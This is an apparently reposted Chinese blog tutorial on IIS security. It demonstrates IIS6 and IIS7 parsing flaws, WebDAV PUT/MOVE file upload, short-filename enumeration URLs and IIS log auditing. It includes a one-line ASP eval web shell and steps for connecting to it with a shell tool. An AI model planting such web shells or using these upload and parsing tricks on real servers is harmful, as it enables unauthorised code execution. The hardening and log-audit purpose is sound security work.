上篇带来Apache服务器的安全配置,作为老牌中间件,iis一直是经久不衰,这次带来iis服务器的安全配置,同样下面的安全问题是根据ISC大会360应急响应中心的一个ppt而来的~
问题1.IIS6文件解析漏洞利用
问题2.IIS6写权限漏洞的利用
问题3.IIS6短文件名漏洞
问题4.IIS7 Fastcgi方式调用php存在的解析漏洞
问题5.IIS日志审计方法
下面我将针对上述问题,来做一个实例讲演!
问题1.IIS6文件解析漏洞利用
这个应该很熟悉,IIS的两个解析漏洞,一个是123.jpg;.asp,一个是123.asp/test.jpg
这两种文件命名方式都会被当成asp文件来进行解析
hacked by adog! <%eval request("adog")%>
这是我们写入的asp文件内容
可以看到这里eval语句已经被执行了,使用菜刀连接即可,这是第一种文件解析漏洞
第二种:我们先创建一个以asp结尾的文件夹,然后在文件夹内上传我们的asp脚本文件
可以看到一句话已经被执行,可以使用菜刀连接了~
问题2.IIS6写权限漏洞的利用
实际上这个漏洞是因为webdev组件的问题,为了安全上的考虑,IIS默认并不会启动WebDAV的功能,因此必须另外来激活它。
这里我关闭了webdev功能,可以看到这里PUT方式就已经提示不支持了
这里假如我们确认了目标的确开了webdav功能,支持PUT写入,下面就可以使用桂林老兵的工具,将一句话通过PUT传入,最后使用MOVE方法修改成asp后缀,但是这里在修改后缀的时候出现了403 forbidden的状态码。。知道的人可以评论下告之原因~
总结一句话,这个iis写入漏洞就是因为开启了webdav组件,因此在配置网站时,一定要关注一些高危组件,不要开启不需要的组件。
问题3.IIS6短文件名漏洞
比如,我在D盘下创建了一个名为aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html文件
可以看到其对应的短文件名为AAAAAA~1.HTM
该短文件名有以下特征:
- 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
- 访问构造的某个存在的短文件名,会返回404
- 访问构造的某个不存在的短文件名,会返回400。
- 后缀名最长只有3位,多余的被截断。
因此在这里我们可以在启用.net的IIS下暴力列举短文件名,原因是:需要使用到通配符*。在windows中,*可以匹配n个字符,n可以为0. 判断某站点是否存在IIS短文件名暴力破解,构造payload,分别访问如下两个URL:
1. http://www.target.com/*~1****/a.aspx 2. http://www.target.com/l1j1e*~1****/a.aspx
404 400
这里我使用了4个星号,主要是为了程序自动化猜解,逐个猜解后缀名中的3个字符,实际上,一个星号与4个星号没有任何区别(上面已经提到,*号可以匹配空)。
如果访问第一个URL,返回404。
而访问第二个URL,返回400。 则目标站点存在漏洞。
这个漏洞主要就是用于猜解后台地址以及一些敏感文件,在这里不做赘述~
问题4.IIS7 Fastcgi方式调用php存在的解析漏洞
这里主要的是指的iis7的解析漏洞。详细的漏洞描述如下:
IIS7 及IIS7.5 在使FastCGI方式调用php时,在php.ini里设置cgi.fix_pathinfo=1,使得访问任意文件URL时,在URL后面添加“/x.php”等字符时,该文件被iis当php文件代码解析。
假如http://127.0.0.1/1.jpg的内容如下:
<?php phpinfo();?>
这时候我们在访问http://127.0.0.1/1.jpg/1.php时,由于iis7的解析漏洞,会将这个jpg文件解析成php文件,从而执行phpinfo()。
问题5.IIS日志审计方法
这里iis日志是默认开启的,日志文件在C:\WINDOWS\system32\LogFiles目录下
这里举一个最新的日志来进行分析
#Software: Microsoft Internet Information Services 6.0 #Version: 1.0 #Date: 2017-11-09 01:39:58 #Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status 2017-11-09 01:39:58 W3SVC87257621 192.168.57.130 OPTIONS * - 80 - 192.168.57.1 - 200 0 0 2017-11-09 01:42:40 W3SVC87257621 192.168.57.130 OPTIONS * - 80 - 192.168.57.1 - 200 0 0 2017-11-09 01:45:05 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0 2017-11-09 01:45:35 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:46:29 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:47:00 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:48:14 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 200 0 0 2017-11-09 01:49:15 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0 2017-11-09 01:50:07 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0 2017-11-09 01:50:22 W3SVC87257621 192.168.57.130 MOVE /test.asp - 80 - 192.168.57.1 - 404 0 2 2017-11-09 01:50:27 W3SVC87257621 192.168.57.130 MOVE /test.asp - 80 - 192.168.57.1 - 404 0 2 2017-11-09 01:51:33 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0 2017-11-09 01:51:49 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:52:06 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 200 0 0 2017-11-09 01:54:49 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:55:47 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:55:47 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0 2017-11-09 01:55:47 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
这里可以看到很详细的日志信息
2017-11-09 01:55:47 – 操作时间
W3SVC87257621 – 网站编号(同时对应这个日志文件夹的名字)
192.168.57.130 – 服务器ip
MOVE /test.txt – 访问者的操作
80 – 网站端口
192.168.57.1 – 访问者ip
207 0 0 – 207表示WebDAV(RFC 2518)扩展的状态码,代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。正常访问情况下这里为200(访问成功),后面的0 0 表示1)get成功 2)数据下载/获得成功
这里同样可以分析日志来对网站的安全进行审计,如果出现了大量sql注入语句以及其他高危行为,我们都可以判断网站正在或者曾经遭受攻击,这时候需要管理员重新评估网站的安全,对高危漏洞进行修补!
上述如有不当之处,敬请指出~
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。